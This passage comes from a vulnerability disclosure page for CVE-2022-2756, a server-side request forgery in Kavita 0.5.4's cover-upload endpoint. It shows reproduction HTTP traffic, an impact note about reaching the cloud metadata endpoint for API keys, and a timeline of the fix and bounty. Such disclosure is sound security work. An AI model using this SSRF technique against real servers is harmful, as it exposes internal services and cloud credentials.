



3 - Visit the `/api/image/cover-upload?filename=<filename>` URL, where the `filename` contains the above response filename.

<pre>GET http://localhost:5000/api/image/cover-upload?filename=coverupload_08_05_2022_23_52_46.h HTTP/1.1 Host: localhost:5000 Proxy-Connection: keep-alive sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99" Origin: http://localhost:5000 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 sec-ch-ua-platform: "Linux" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: image Referer: http://localhost:5000/library/1/series/2 Accept-Language: en-US,en;q=0.9 Content-Length: 0</pre>	<pre>HTTP/1.1 200 OK Content-Length: 48 Content-Type: image/h Date: Fri, 05 Aug 2022 23:52:55 GMT Server: Kestrel Cache-Control: max-age=10 ETag: 6FFF9AFC2DAB0897E8BEAC50FD1AE42463885901AC21152EB4AD2BFFE8EF5A Last-Modified: Fri, 05 Aug 2022 23:52:46 GMT Vary: Accept-Encoding Content-Disposition: attachment; filename=coverupload_08_05_2022_23_52_46.h; filename*=UTF-8''coverupload_08_05_2022_23_52_46.h</pre>
	<pre>&lt;html&gt; &lt;h1&gt;SECRET INTERNAL SERVICE&lt;/h1&gt; &lt;/html&gt;</pre>

## Impact

An attacker can get sensitive information of any internal-only services running. For example, if the application is hosted on Amazon Web Services (AWS) platform, it's possible to fetch the AWS API endpoint, `https://169.254.169.254`, which returns API keys and other sensitive metadata.

## Occurrences

C# UploadController.cs L50-L72

CVE

CVE-2022-2756

(Published)

Vulnerability Type

CWE-918: Server-Side Request Forgery (SSRF)

Severity

High (7.1)

Registry

Other

Affected Version

0.5.4

Visibility

Public

Status

Fixed

Chat with us

Found by



**vultza**

@vultza

legend ▼

Fixed by



**Joe Milazzo**

@majora2007

maintainer

This report was seen 738 times.

We are processing your report and will contact the **kareadita/kavita** team within 24 hours.  
4 months ago

We created a **GitHub Issue** asking the maintainers to create a **SECURITY.md** 4 months ago

We have contacted a member of the **kareadita/kavita** team and are waiting to hear back  
4 months ago

**Joe Milazzo** validated this vulnerability 4 months ago

Fixed locally

**vultza** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

**Joe Milazzo** marked this as fixed in **0.5.4.1** with commit **9c31f7** 4 months ago

**Joe Milazzo** has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

**UploadController.cs#L50-L72** has been validated ✓

Chat with us

vultza 4 months ago

Researcher

@admin Would be possible to issue an CVE ID on this report? Thanks.

Jamie Slome 4 months ago

Admin

CVE sorted 👍

Sign in to join this conversation

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